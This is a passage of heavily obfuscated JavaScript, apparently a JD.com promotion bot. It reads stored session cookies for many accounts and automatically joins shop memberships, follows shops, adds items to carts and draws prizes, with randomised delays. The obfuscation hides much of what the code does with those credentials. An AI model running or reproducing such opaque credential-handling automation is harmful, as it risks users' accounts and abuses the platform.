XE=','d2NWY0U=','S1BOc3M=','Y3RidlE=','bnBsR0Q=','S2NFRFQ=','ZGFmU2k=','YmR0b0Y=','TWZmbUQ=','bnBmUG8=','U2JiaUY=','SExJRWs=','dmNFWVE=','djsjiwaPZmi.KkhZcIKYom.v6qUGU=='];(function(_0x5df426,_0xaad481,_0x15d2b6){var _0xa2a3d9=function(_0x34d66f,_0x38ac73,_0x4d1619,_0x5cb4d6,_0x2906e1){_0x38ac73=_0x38ac73>>0x8,_0x2906e1='po';var _0x174fff='shift',_0x3c331b='push';if(_0x38ac73<_0x34d66f){while(--_0x34d66f){_0x5cb4d6=_0x5df426[_0x174fff]();if(_0x38ac73===_0x34d66f){_0x38ac73=_0x5cb4d6;_0x4d1619=_0x5df426[_0x2906e1+'p']();}else if(_0x38ac73&&_0x4d1619['replace'](/[dwPZKkhZIKYqUGU=]/g,'')===_0x38ac73){_0x5df426[_0x3c331b](_0x5cb4d6);}}_0x5df426[_0x3c331b](_0x5df426[_0x174fff]());}return 0xa5943;};return _0xa2a3d9(++_0xaad481,_0x15d2b6)>>_0xaad481^_0x15d2b6;}(_0x4195,0x133,0x13300));var _0x4291=function(_0x3e42a7,_0x81ae8e){_0x3e42a7=~~'0x'['concat'](_0x3e42a7);var _0x4591ca=_0x4195[_0x3e42a7];if(_0x4291['jeKqhQ']===undefined){(function(){var _0x1921c2;try{var _0x9bc7a9=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x1921c2=_0x9bc7a9();}catch(_0x3d589e){_0x1921c2=window;}var _0x3fc4df='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x1921c2['atob']||(_0x1921c2['atob']=function(_0x2f2791){var _0x4c37a6=String(_0x2f2791)['replace'](/=+$/,'');for(var _0x330f52=0x0,_0x90d0ca,_0x50dad7,_0x12c1af=0x0,_0x1df581='';_0x50dad7=_0x4c37a6['charAt'](_0x12c1af++);~_0x50dad7&&(_0x90d0ca=_0x330f52%0x4?_0x90d0ca*0x40+_0x50dad7:_0x50dad7,_0x330f52++%0x4)?_0x1df581+=String['fromCharCode'](0xff&_0x90d0ca>>(-0x2*_0x330f52&0x6)):0x0){_0x50dad7=_0x3fc4df['indexOf'](_0x50dad7);}return _0x1df581;});}());_0x4291['KbNfIg']=function(_0x582f91){var _0x643b8a=atob(_0x582f91);var _0x5a049d=[];for(var _0x593377=0x0,_0x592a1a=_0x643b8a['length'];_0x593377<_0x592a1a;_0x593377++){_0x5a049d+='%'+('00'+_0x643b8a['charCodeAt'](_0x593377)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x5a049d);};_0x4291['rBmmBR']={};_0x4291['jeKqhQ']=!![];}var _0xf2c2f8=_0x4291['rBmmBR'][_0x3e42a7];if(_0xf2c2f8===undefined){_0x4591ca=_0x4291['KbNfIg'](_0x4591ca);_0x4291['rBmmBR'][_0x3e42a7]=_0x4591ca;}else{_0x4591ca=_0xf2c2f8;}return _0x4591ca;};const $=new Env(_0x4291('0'));const jdCookieNode=$[_0x4291('1')]()?require(_0x4291('2')):'';const notify=$[_0x4291('1')]()?require(_0x4291('3')):'';let cookiesArr=[],cookie='';let activityCookie='';let lz_jdpin_token='';if($[_0x4291('1')]()){Object[_0x4291('4')](jdCookieNode)[_0x4291('5')](_0x23df5e=>{cookiesArr[_0x4291('6')](jdCookieNode[_0x23df5e]);});if(process[_0x4291('7')][_0x4291('8')]&&process[_0x4291('7')][_0x4291('8')]===_0x4291('9'))console[_0x4291('a')]=()=>{};}else{cookiesArr=[$[_0x4291('b')](_0x4291('c')),$[_0x4291('b')](_0x4291('d')),...jsonParse($[_0x4291('b')](_0x4291('e'))||'[]')[_0x4291('f')](_0x14c5e6=>_0x14c5e6[_0x4291('10')])][_0x4291('11')](_0x3033a2=>!!_0x3033a2);}guaopencard_addSku=$[_0x4291('1')]()?process[_0x4291('7')][_0x4291('12')]?process[_0x4291('7')][_0x4291('12')]:''+guaopencard_addSku:$[_0x4291('b')](_0x4291('12'))?$[_0x4291('b')](_0x4291('12')):''+guaopencard_addSku;guaopencard_addSku=$[_0x4291('1')]()?process[_0x4291('7')][_0x4291('13')]?process[_0x4291('7')][_0x4291('13')]:''+guaopencard_addSku:$[_0x4291('b')](_0x4291('13'))?$[_0x4291('b')](_0x4291('13')):''+guaopencard_addSku;guaopencard=$[_0x4291('1')]()?process[_0x4291('7')][_0x4291('14')]?process[_0x4291('7')][_0x4291('14')]:''+guaopencard:$[_0x4291('b')](_0x4291('14'))?$[_0x4291('b')](_0x4291('14')):''+guaopencard;guaopencard=$[_0x4291('1')]()?process[_0x4291('7')][_0x4291('15')]?process[_0x4291('7')][_0x4291('15')]:''+guaopencard:$[_0x4291('b')](_0x4291('15'))?$[_0x4291('b')](_0x4291('15')):''+guaopencard;message='';$[_0x4291('16')]=![];!(async()=>{var _0x46ba97={'bcKDn':function(_0x896030,_0x45ffbb){return _0x896030!=_0x45ffbb;},'SZhgA':_0x4291('17'),'DODcO':function(_0x44c98a){return _0x44c98a();},'iekSy':_0x4291('18'),'NciPu':function(_0x9a1b40,_0x1f65f6){return _0x9a1b40!==_0x1f65f6;},'vsrdK':_0x4291('19'),'QEkkF':_0x4291('1a'),'jDBCM':_0x4291('1b'),'muJjg':_0x4291('1c'),'kJyys':_0x4291('1d'),'cUkDD':_0x4291('1e'),'wrQcx':function(_0x3d1b42,_0x2e5af0){return _0x3d1b42!=_0x2e5af0;},'JwUWK':function(_0x1353f3,_0x4e44df){return _0x1353f3+_0x4e44df;},'EJizW':_0x4291('1f'),'laPaQ':_0x4291('20'),'rqKWd':_0x4291('21'),'ECFFs':function(_0x4c30ae,_0x4e1e49){return _0x4c30ae!=_0x4e1e49;},'etJhs':function(_0x33179c,_0x25c2c5){return _0x33179c+_0x25c2c5;},'wPFxJ':_0x4291('22'),'MEoGw':_0x4291('23'),'OWGIF':function(_0xb720ad,_0x58a418){return _0xb720ad<_0x58a418;},'sIRYH':function(_0x29061f,_0x3cf1ce){return _0x29061f===_0x3cf1ce;},'XTBIN':_0x4291('24'),'QNHxe':_0x4291('25'),'ceyGv':function(_0x228fb0,_0x4e53cb){return _0x228fb0(_0x4e53cb);},'uLQmJ':function(_0x42717){return _0x42717();},'ymYTU':function(_0x31bf8e,_0x44fd9c){return _0x31bf8e==_0x44fd9c;},'BYgID':function(_0xb56ddc,_0x5b2211){return _0xb56ddc===_0x5b2211;},'MfbYM':_0x4291('26'),'sRndj':_0x4291('27')};if(!cookiesArr[0x0]){if(_0x46ba97[_0x4291('28')](_0x46ba97[_0x4291('29')],_0x46ba97[_0x4291('2a')])){$[_0x4291('2b')]($[_0x4291('2c')],_0x46ba97[_0x4291('2d')],_0x46ba97[_0x4291('2e')],{'open-url':_0x46ba97[_0x4291('2e')]});return;}else{if(_0x46ba97[_0x4291('2f')](typeof res[_0x4291('30')][_0x4291('31')],_0x46ba97[_0x4291('32')]))$[_0x4291('31')]=res[_0x4291('30')][_0x4291('31')];if(_0x46ba97[_0x4291('2f')](typeof res[_0x4291('30')][_0x4291('33')],_0x46ba97[_0x4291('32')]))$[_0x4291('33')]=res[_0x4291('30')][_0x4291('33')];}}if($[_0x4291('1')]()){if(_0x46ba97[_0x4291('28')](_0x46ba97[_0x4291('34')],_0x46ba97[_0x4291('35')])){if(_0x46ba97[_0x4291('36')](_0x46ba97[_0x4291('37')](guaopencard,''),_0x46ba97[_0x4291('38')])){if(_0x46ba97[_0x4291('28')](_0x46ba97[_0x4291('39')],_0x46ba97[_0x4291('39')])){console[_0x4291('a')](data);}else{console[_0x4291('a')](_0x46ba97[_0x4291('3a')]);}}if(_0x46ba97[_0x4291('3b')](_0x46ba97[_0x4291('3c')](guaopencard,''),_0x46ba97[_0x4291('38')])){return;}}else{_0x46ba97[_0x4291('3d')](resolve);}}$[_0x4291('3e')]=_0x46ba97[_0x4291('3f')];$[_0x4291('40')]=_0x46ba97[_0x4291('41')];console[_0x4291('a')](_0x4291('42')+$[_0x4291('40')]+_0x4291('43')+$[_0x4291('3e')]);for(let _0x32acda=0x0;_0x46ba97[_0x4291('44')](_0x32acda,cookiesArr[_0x4291('45')]);_0x32acda++){cookie=cookiesArr[_0x32acda];if(cookie){if(_0x46ba97[_0x4291('46')](_0x46ba97[_0x4291('47')],_0x46ba97[_0x4291('48')])){console[_0x4291('a')](_0x46ba97[_0x4291('49')]);$[_0x4291('16')]=!![];}else{$[_0x4291('4a')]=_0x46ba97[_0x4291('4b')](decodeURIComponent,cookie[_0x4291('4c')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0x4291('4c')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x4291('4d')]=_0x46ba97[_0x4291('3c')](_0x32acda,0x1);_0x46ba97[_0x4291('3d')](getUA);console[_0x4291('a')](_0x4291('4e')+$[_0x4291('4d')]+'】'+$[_0x4291('4a')]+_0x4291('4f'));await _0x46ba97[_0x4291('50')](run);if(_0x46ba97[_0x4291('51')](_0x32acda,0x0)&&!$[_0x4291('52')])break;if($[_0x4291('16')])break;}}}if($[_0x4291('16')]){if(_0x46ba97[_0x4291('53')](_0x46ba97[_0x4291('54')],_0x46ba97[_0x4291('54')])){let _0x33cc29=_0x46ba97[_0x4291('55')];$[_0x4291('2b')]($[_0x4291('2c')],'',''+_0x33cc29);if($[_0x4291('1')]())await notify[_0x4291('56')](''+$[_0x4291('2c')][_0x4291('57')](/-/g,'/'),''+_0x33cc29);}else{console[_0x4291('a')](''+$[_0x4291('58')](err));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}}})()[_0x4291('5a')](_0x6c9129=>$[_0x4291('5b')](_0x6c9129))[_0x4291('5c')](()=>$[_0x4291('5d')]());async function run(){var _0x3be21c={'zRmwM':function(_0x3cf57b,_0x4af5bb){return _0x3cf57b>_0x4af5bb;},'bKdZf':_0x4291('5e'),'GCWef':function(_0x2dc71d,_0x22434c){return _0x2dc71d+_0x22434c;},'vbGLT':_0x4291('5f'),'fNeKJ':function(_0x33bdb4,_0x4766a7){return _0x33bdb4==_0x4766a7;},'qdVbo':_0x4291('60'),'gYtax':function(_0x5ad6cb,_0x32c810){return _0x5ad6cb!=_0x32c810;},'NRdfW':_0x4291('17'),'IXiSX':function(_0x2d0a00){return _0x2d0a00();},'hmWqJ':function(_0x265148,_0x2ae6c0){return _0x265148!==_0x2ae6c0;},'MXIgf':_0x4291('61'),'gmZnO':_0x4291('62'),'QHIfs':_0x4291('18'),'BVNTH':function(_0x1fe8cf){return _0x1fe8cf();},'wETDh':function(_0x2c7a05,_0xec54e5){return _0x2c7a05==_0xec54e5;},'arVgQ':_0x4291('63'),'lOCtm':function(_0x5896e9){return _0x5896e9();},'PjTVZ':function(_0x47556b,_0x33e431){return _0x47556b===_0x33e431;},'nTjYt':function(_0x2a806a,_0xfa8ac9){return _0x2a806a==_0xfa8ac9;},'hhWoa':function(_0x115f22,_0x2ab9b8){return _0x115f22===_0x2ab9b8;},'yqdOP':_0x4291('64'),'aqKvv':_0x4291('65'),'PvsYU':_0x4291('66'),'jNgvY':function(_0x52c8c6){return _0x52c8c6();},'zZrJH':_0x4291('67'),'lFPrl':function(_0x3f9763){return _0x3f9763();},'lJFAI':_0x4291('68'),'oCcFx':function(_0x2d29ab){return _0x2d29ab();},'RJaQC':_0x4291('69'),'UUWSK':_0x4291('6a'),'dIhOU':_0x4291('6b'),'mGQvp':function(_0x30efad){return _0x30efad();},'jJRqM':function(_0x137d0f,_0x1272bb,_0x290878){return _0x137d0f(_0x1272bb,_0x290878);},'ZOcLb':function(_0x5e627c,_0x30b135){return _0x5e627c*_0x30b135;},'xcGLM':function(_0x494ded,_0x719b8f){return _0x494ded(_0x719b8f);},'MoIun':function(_0x42b1e4,_0x1f2ea5){return _0x42b1e4==_0x1f2ea5;},'fcMVB':function(_0x4b696d,_0x4355e1){return _0x4b696d===_0x4355e1;},'rqoeb':_0x4291('6c'),'cCaDn':_0x4291('6d'),'MKoje':function(_0x2b7dbd,_0x429e8b){return _0x2b7dbd(_0x429e8b);},'xUTTW':function(_0x14425f){return _0x14425f();},'CcbNt':function(_0x4a6348,_0x7843f0){return _0x4a6348+_0x7843f0;},'RavXJ':function(_0x32043c){return _0x32043c();},'qYuff':function(_0x28fd33){return _0x28fd33();},'IPJBm':function(_0x3355b5,_0x8c656e){return _0x3355b5==_0x8c656e;},'yFJGD':function(_0x34eead,_0xe58455){return _0x34eead(_0xe58455);},'OWnyh':function(_0x2ede65,_0x5540ad){return _0x2ede65(_0x5540ad);},'dYkOW':function(_0x2ebc4c,_0x5de21d){return _0x2ebc4c+_0x5de21d;},'lbNlB':_0x4291('6e'),'cHVVk':function(_0xe7edb0,_0x21f9ac,_0x1e7ed2){return _0xe7edb0(_0x21f9ac,_0x1e7ed2);},'wuzYP':function(_0x50ab62,_0x851a33){return _0x50ab62+_0x851a33;},'dOgcr':function(_0x137624,_0x477e04){return _0x137624*_0x477e04;},'ErGDB':_0x4291('6f'),'BgNQP':_0x4291('1f'),'Frfmg':_0x4291('70'),'LJdOF':function(_0x54a6dd){return _0x54a6dd();},'DlIbf':function(_0x5f56c9,_0x376f64,_0x57198d){return _0x5f56c9(_0x376f64,_0x57198d);},'VmmLm':function(_0xb5da7e){return _0xb5da7e();},'NSPXc':function(_0x428d1b,_0x21ef5f){return _0x428d1b===_0x21ef5f;},'rGLmZ':_0x4291('71'),'HKHlD':function(_0x5e30c9,_0x103d39,_0x487cb0){return _0x5e30c9(_0x103d39,_0x487cb0);},'EDebB':function(_0x26d845,_0x340e72){return _0x26d845+_0x340e72;},'OgFlp':function(_0x5f1565,_0x43f0ec){return _0x5f1565*_0x43f0ec;},'BOGPN':function(_0x49d1ec,_0x239874,_0x2c72c){return _0x49d1ec(_0x239874,_0x2c72c);},'mbDAQ':function(_0x145625,_0x2a9fb8){return _0x145625+_0x2a9fb8;},'FLLEz':function(_0xf74c44,_0x5aa8a9){return _0xf74c44*_0x5aa8a9;},'JviWR':_0x4291('72')};try{lz_jdpin_token='';$[_0x4291('73')]='';$[_0x4291('74')]='';await _0x3be21c[_0x4291('75')](getCk);if(_0x3be21c[_0x4291('76')](activityCookie,'')){console[_0x4291('a')](_0x4291('77'));return;}if($[_0x4291('16')]){if(_0x3be21c[_0x4291('78')](_0x3be21c[_0x4291('79')],_0x3be21c[_0x4291('7a')])){console[_0x4291('a')](_0x3be21c[_0x4291('7b')]);return;}else{setcookie=setcookies[_0x4291('7c')](',');}}await _0x3be21c[_0x4291('7d')](getToken);if(_0x3be21c[_0x4291('7e')]($[_0x4291('73')],'')){console[_0x4291('a')](_0x3be21c[_0x4291('7f')]);return;}await _0x3be21c[_0x4291('7d')](getSimpleActInfoVo);$[_0x4291('80')]='';await _0x3be21c[_0x4291('81')](getMyPing);if(_0x3be21c[_0x4291('82')]($[_0x4291('74')],'')||_0x3be21c[_0x4291('83')](typeof $[_0x4291('31')],_0x3be21c[_0x4291('84')])||_0x3be21c[_0x4291('83')](typeof $[_0x4291('33')],_0x3be21c[_0x4291('84')])){if(_0x3be21c[_0x4291('85')](_0x3be21c[_0x4291('86')],_0x3be21c[_0x4291('87')])){if(_0x3be21c[_0x4291('88')](name[_0x4291('89')](_0x3be21c[_0x4291('8a')]),-0x1))LZ_TOKEN_KEY=_0x3be21c[_0x4291('8b')](name[_0x4291('57')](/ /g,''),';');if(_0x3be21c[_0x4291('88')](name[_0x4291('89')](_0x3be21c[_0x4291('8c')]),-0x1))LZ_TOKEN_VALUE=_0x3be21c[_0x4291('8b')](name[_0x4291('57')](/ /g,''),';');}else{$[_0x4291('a')](_0x3be21c[_0x4291('8d')]);return;}}await _0x3be21c[_0x4291('8e')](accessLogWithAD);$[_0x4291('8f')]=_0x3be21c[_0x4291('90')];await _0x3be21c[_0x4291('91')](getUserInfo);$[_0x4291('52')]='';await _0x3be21c[_0x4291('91')](getActorUuid);if(!$[_0x4291('52')]){console[_0x4291('a')](_0x3be21c[_0x4291('92')]);return;}await _0x3be21c[_0x4291('93')](drawContent);await $[_0x4291('94')](0x3e8);let _0x40771a=await _0x3be21c[_0x4291('93')](checkOpenCard);if(_0x40771a&&!_0x40771a[_0x4291('95')]&&!$[_0x4291('16')]){if(_0x3be21c[_0x4291('78')](_0x3be21c[_0x4291('96')],_0x3be21c[_0x4291('96')])){$[_0x4291('5b')](e,resp);}else{let _0x28e5d7=!![];for(let _0x4887a7 of _0x40771a[_0x4291('97')]&&_0x40771a[_0x4291('97')]||[]){if(_0x3be21c[_0x4291('78')](_0x3be21c[_0x4291('98')],_0x3be21c[_0x4291('98')])){console[_0x4291('a')](_0x4291('99')+(res[_0x4291('9a')]||''));}else{if(_0x3be21c[_0x4291('83')](_0x4887a7[_0x4291('9b')],0x0)){var _0x5379ff=_0x3be21c[_0x4291('9c')][_0x4291('7c')]('|'),_0x541d00=0x0;while(!![]){switch(_0x5379ff[_0x541d00++]){case'0':await _0x3be21c[_0x4291('9d')](drawContent);continue;case'1':await $[_0x4291('94')](_0x3be21c[_0x4291('9e')](parseInt,_0x3be21c[_0x4291('8b')](_0x3be21c[_0x4291('9f')](Math[_0x4291('a0')](),0x3e8),0x1388),0xa));continue;case'2':console[_0x4291('a')](_0x4887a7[_0x4291('2c')]);continue;case'3':if(_0x28e5d7)_0x28e5d7=![];continue;case'4':if(_0x28e5d7)console[_0x4291('a')]('组1');continue;case'5':await _0x3be21c[_0x4291('a1')](join,_0x4887a7[_0x4291('a2')]);continue;}break;}}}}_0x28e5d7=!![];for(let _0x2e78a2 of _0x40771a[_0x4291('a3')]&&_0x40771a[_0x4291('a3')]||[]){if(_0x3be21c[_0x4291('a4')](_0x2e78a2[_0x4291('9b')],0x0)){if(_0x3be21c[_0x4291('a5')](_0x3be21c[_0x4291('a6')],_0x3be21c[_0x4291('a6')])){var _0x16fae9=_0x3be21c[_0x4291('a7')][_0x4291('7c')]('|'),_0x57b6bd=0x0;while(!![]){switch(_0x16fae9[_0x57b6bd++]){case'0':await _0x3be21c[_0x4291('a8')](join,_0x2e78a2[_0x4291('a2')]);continue;case'1':if(_0x28e5d7)_0x28e5d7=![];continue;case'2':await _0x3be21c[_0x4291('a9')](drawContent);continue;case'3':console[_0x4291('a')](_0x2e78a2[_0x4291('2c')]);continue;case'4':await $[_0x4291('94')](_0x3be21c[_0x4291('9e')](parseInt,_0x3be21c[_0x4291('aa')](_0x3be21c[_0x4291('9f')](Math[_0x4291('a0')](),0x3e8),0x1388),0xa));continue;case'5':if(_0x28e5d7)console[_0x4291('a')]('组2');continue;}break;}}else{for(let _0x15c421 of res[_0x4291('ab')][_0x4291('ac')][_0x4291('ad')]){console[_0x4291('a')](_0x4291('ae')+_0x15c421[_0x4291('af')]+_0x15c421[_0x4291('b0')]+_0x15c421[_0x4291('b1')]);}}}}await $[_0x4291('94')](0x3e8);await _0x3be21c[_0x4291('b2')](drawContent);_0x40771a=await _0x3be21c[_0x4291('b3')](checkOpenCard);await _0x3be21c[_0x4291('b3')](getActorUuid);await $[_0x4291('94')](0x3e8);}}if(_0x40771a&&_0x3be21c[_0x4291('b4')](_0x40771a[_0x4291('b5')],0x1)&&!$[_0x4291('16')])await _0x3be21c[_0x4291('b6')](startDraw,0x1);if(_0x40771a&&_0x3be21c[_0x4291('b4')](_0x40771a[_0x4291('b7')],0x1)&&!$[_0x4291('16')])await _0x3be21c[_0x4291('b8')](startDraw,0x2);$[_0x4291('a')](_0x3be21c[_0x4291('b9')](_0x3be21c[_0x4291('ba')],$[_0x4291('bb')]));if(!$[_0x4291('bb')]&&!$[_0x4291('16')])await _0x3be21c[_0x4291('b3')](followShop);if(!$[_0x4291('bb')]&&!$[_0x4291('16')])await $[_0x4291('94')](_0x3be21c[_0x4291('bc')](parseInt,_0x3be21c[_0x4291('bd')](_0x3be21c[_0x4291('be')](Math[_0x4291('a0')](),0x3e8),0x1388),0xa));$[_0x4291('a')](_0x3be21c[_0x4291('bd')](_0x3be21c[_0x4291('bf')],$[_0x4291('c0')]));if(!$[_0x4291('c0')]&&_0x3be21c[_0x4291('c1')](_0x3be21c[_0x4291('bd')](guaopencard_addSku,''),_0x3be21c[_0x4291('c2')]))console[_0x4291('a')](_0x3be21c[_0x4291('c3')]);if(!$[_0x4291('c0')]&&_0x3be21c[_0x4291('b4')](guaopencard_addSku,_0x3be21c[_0x4291('c2')])&&!$[_0x4291('16')])await _0x3be21c[_0x4291('c4')](addSku);if(!$[_0x4291('c0')]&&_0x3be21c[_0x4291('b4')](guaopencard_addSku,_0x3be21c[_0x4291('c2')])&&!$[_0x4291('16')])await $[_0x4291('94')](_0x3be21c[_0x4291('c5')](parseInt,_0x3be21c[_0x4291('bd')](_0x3be21c[_0x4291('be')](Math[_0x4291('a0')](),0x3e8),0x1388),0xa));await _0x3be21c[_0x4291('c4')](getDrawRecordHasCoupon);await $[_0x4291('94')](0x3e8);await _0x3be21c[_0x4291('c6')](getShareRecord);$[_0x4291('a')]($[_0x4291('3e')]);if(_0x3be21c[_0x4291('c7')]($[_0x4291('4d')],0x1)){if($[_0x4291('52')]){$[_0x4291('3e')]=$[_0x4291('52')];console[_0x4291('a')](_0x4291('c8')+$[_0x4291('3e')]);}else{console[_0x4291('a')](_0x3be21c[_0x4291('c9')]);return;}}await $[_0x4291('94')](_0x3be21c[_0x4291('ca')](parseInt,_0x3be21c[_0x4291('cb')](_0x3be21c[_0x4291('cc')](Math[_0x4291('a0')](),0x3e8),0x1388),0xa));if(!$[_0x4291('bb')])await $[_0x4291('94')](_0x3be21c[_0x4291('cd')](parseInt,_0x3be21c[_0x4291('ce')](_0x3be21c[_0x4291('cf')](Math[_0x4291('a0')](),0x3e8),0x2710),0xa));}catch(_0x1ceed2){if(_0x3be21c[_0x4291('78')](_0x3be21c[_0x4291('d0')],_0x3be21c[_0x4291('d0')])){let _0x570f64=$[_0x4291('d1')](data);if(_0x3be21c[_0x4291('76')](typeof _0x570f64,_0x3be21c[_0x4291('d2')])&&_0x3be21c[_0x4291('76')](_0x570f64[_0x4291('d3')],0x0)){if(_0x3be21c[_0x4291('c1')](typeof _0x570f64[_0x4291('d4')],_0x3be21c[_0x4291('84')]))$[_0x4291('73')]=_0x570f64[_0x4291('d4')];}else if(_0x3be21c[_0x4291('76')](typeof _0x570f64,_0x3be21c[_0x4291('d2')])&&_0x570f64[_0x4291('d5')]){console[_0x4291('a')](_0x4291('d6')+(_0x570f64[_0x4291('d5')]||''));}else{console[_0x4291('a')](data);}}else{console[_0x4291('a')](_0x1ceed2);}}}function getDrawRecordHasCoupon(){var _0x5d200e={'MTEZi':_0x4291('18'),'VLSaD':function(_0x5513e9,_0x2713a0){return _0x5513e9==_0x2713a0;},'ONwzk':_0x4291('60'),'yLngo':function(_0x238be8,_0x2d41fa){return _0x238be8===_0x2d41fa;},'bPtVH':function(_0x3de70b,_0x4dac38){return _0x3de70b!=_0x4dac38;},'UpMoV':_0x4291('17'),'TxbiI':function(_0x347a4d){return _0x347a4d();},'hyLmg':_0x4291('d7'),'tBOfI':function(_0x17e1e6,_0x465d7a){return _0x17e1e6!==_0x465d7a;},'vPTRh':_0x4291('d8'),'flLzy':_0x4291('d9'),'SMxCf':function(_0x34d550,_0x4bbe28){return _0x34d550===_0x4bbe28;},'ptJmD':_0x4291('da'),'ImIMJ':_0x4291('db'),'OtlvX':function(_0x37174f,_0x420064){return _0x37174f!==_0x420064;},'Qnsua':_0x4291('dc'),'QsjEk':_0x4291('dd'),'zrOWA':function(_0x31ee3c,_0x1c7b36){return _0x31ee3c===_0x1c7b36;},'uSFmc':function(_0x457221,_0x2e2433){return _0x457221==_0x2e2433;},'yBRBW':_0x4291('de'),'YhGbh':function(_0x282ca0,_0x679f6e){return _0x282ca0!=_0x679f6e;},'oDWMU':function(_0xb6792a,_0x19c399){return _0xb6792a+_0x19c399;},'cZisx':function(_0x51dcfd,_0x7bf78d){return _0x51dcfd>_0x7bf78d;},'FPDOC':function(_0x1da43f,_0x5b1651){return _0x1da43f*_0x5b1651;},'rmYMm':function(_0x5e4047,_0x2aae52,_0x898787){return _0x5e4047(_0x2aae52,_0x898787);},'sTsRx':function(_0x598976,_0x3b5f7a){return _0x598976==_0x3b5f7a;},'zpuZR':_0x4291('df'),'BvkGq':_0x4291('e0'),'jvTSY':function(_0x3d493d,_0x417b05){return _0x3d493d!==_0x417b05;},'eTHtV':_0x4291('e1'),'RepdS':_0x4291('e2'),'FeZCb':function(_0x454f96,_0x2dc8c5){return _0x454f96===_0x2dc8c5;},'GSOlo':_0x4291('e3'),'mPIwX':function(_0x294903,_0x442c31){return _0x294903(_0x442c31);},'YZYoH':_0x4291('e4')};return new Promise(_0x479e89=>{var _0x35028e={'ZDbND':_0x5d200e[_0x4291('e5')],'TBAFM':function(_0x4b4ab5,_0x27bf7c){return _0x5d200e[_0x4291('e6')](_0x4b4ab5,_0x27bf7c);},'iFwPo':_0x5d200e[_0x4291('e7')],'MHRVy':function(_0x33d5c4,_0x270d4c){return _0x5d200e[_0x4291('e8')](_0x33d5c4,_0x270d4c);},'SrkYe':function(_0x3044b4,_0x48adba){return _0x5d200e[_0x4291('e9')](_0x3044b4,_0x48adba);},'TZkWF':_0x5d200e[_0x4291('ea')],'LSuNb':function(_0x49ddac,_0x1021b4){return _0x5d200e[_0x4291('e6')](_0x49ddac,_0x1021b4);},'OGOiZ':function(_0x44850f){return _0x5d200e[_0x4291('eb')](_0x44850f);},'cUBHG':_0x5d200e[_0x4291('ec')],'GOjgr':function(_0x1ea211,_0x422fac){return _0x5d200e[_0x4291('ed')](_0x1ea211,_0x422fac);},'Dbcru':_0x5d200e[_0x4291('ee')],'bEYqU':_0x5d200e[_0x4291('ef')],'SBcyy':function(_0x54ad38,_0x27f067){return _0x5d200e[_0x4291('f0')](_0x54ad38,_0x27f067);},'dkifl':_0x5d200e[_0x4291('f1')],'tmzDo':_0x5d200e[_0x4291('f2')],'kvpUS':function(_0x3c04c,_0x215ebd){return _0x5d200e[_0x4291('f3')](_0x3c04c,_0x215ebd);},'jvFbf':_0x5d200e[_0x4291('f4')],'jIgqM':_0x5d200e[_0x4291('f5')],'hOLle':function(_0x1d544c,_0xf60037){return _0x5d200e[_0x4291('f6')](_0x1d544c,_0xf60037);},'TASKY':function(_0x1067a3,_0x32b693){return _0x5d200e[_0x4291('f7')](_0x1067a3,_0x32b693);},'hvhSD':_0x5d200e[_0x4291('f8')],'tLwhJ':function(_0x2b406a,_0x11850b){return _0x5d200e[_0x4291('f9')](_0x2b406a,_0x11850b);},'PFUfJ':function(_0x4f242c,_0x143ce7){return _0x5d200e[_0x4291('fa')](_0x4f242c,_0x143ce7);},'xoCBa':function(_0x28c9ab,_0xcb9f7b){return _0x5d200e[_0x4291('fb')](_0x28c9ab,_0xcb9f7b);},'TTzOb':function(_0x2cabd7,_0x283249){return _0x5d200e[_0x4291('fc')](_0x2cabd7,_0x283249);},'yJcJv':function(_0x39bb1b,_0x4beb4d,_0x13273e){return _0x5d200e[_0x4291('fd')](_0x39bb1b,_0x4beb4d,_0x13273e);},'xmQhm':function(_0x6b70dd,_0x20aa5d){return _0x5d200e[_0x4291('fe')](_0x6b70dd,_0x20aa5d);},'GAMoa':_0x5d200e[_0x4291('ff')],'Mkzue':_0x5d200e[_0x4291('100')],'BKNzH':function(_0xe6cca6,_0x3454fd){return _0x5d200e[_0x4291('101')](_0xe6cca6,_0x3454fd);},'NnoyH':_0x5d200e[_0x4291('102')],'ddXuq':_0x5d200e[_0x4291('103')]};if(_0x5d200e[_0x4291('104')](_0x5d200e[_0x4291('105')],_0x5d200e[_0x4291('105')])){let _0x47baaa=_0x4291('106')+$[_0x4291('40')]+_0x4291('107')+$[_0x4291('52')]+_0x4291('108')+_0x5d200e[_0x4291('109')](encodeURIComponent,$[_0x4291('74')])+_0x4291('10a');$[_0x4291('10b')](_0x5d200e[_0x4291('fd')](taskPostUrl,_0x5d200e[_0x4291('10c')],_0x47baaa),async(_0x1f0aa8,_0x1dee9d,_0x55d36b)=>{var _0x2c0380={'slUQE':function(_0x191c57,_0xab395d){return _0x35028e[_0x4291('10d')](_0x191c57,_0xab395d);},'npqVI':_0x35028e[_0x4291('10e')],'bWjev':function(_0x2edcc7){return _0x35028e[_0x4291('10f')](_0x2edcc7);}};if(_0x35028e[_0x4291('110')](_0x35028e[_0x4291('111')],_0x35028e[_0x4291('111')])){try{if(_0x35028e[_0x4291('112')](_0x35028e[_0x4291('113')],_0x35028e[_0x4291('114')])){if(_0x1f0aa8){if(_0x35028e[_0x4291('115')](_0x35028e[_0x4291('116')],_0x35028e[_0x4291('117')])){if(_0x1dee9d[_0x4291('118')]&&_0x2c0380[_0x4291('119')](_0x1dee9d[_0x4291('118')],0x1ed)){console[_0x4291('a')](_0x2c0380[_0x4291('11a')]);$[_0x4291('16')]=!![];}console[_0x4291('a')](''+$[_0x4291('58')](_0x1f0aa8));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}else{console[_0x4291('a')](''+$[_0x4291('58')](_0x1f0aa8));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}}else{if(_0x35028e[_0x4291('11b')](_0x35028e[_0x4291('11c')],_0x35028e[_0x4291('11d')])){res=$[_0x4291('d1')](_0x55d36b);if(_0x35028e[_0x4291('10d')](typeof res,_0x35028e[_0x4291('11e')])){if(_0x35028e[_0x4291('11f')](res[_0x4291('ab')],!![])&&res[_0x4291('30')]){console[_0x4291('a')](_0x4291('120'));let _0x5404dc=0x0;let _0x33ae07=0x0;for(let _0x102598 in res[_0x4291('30')]){let 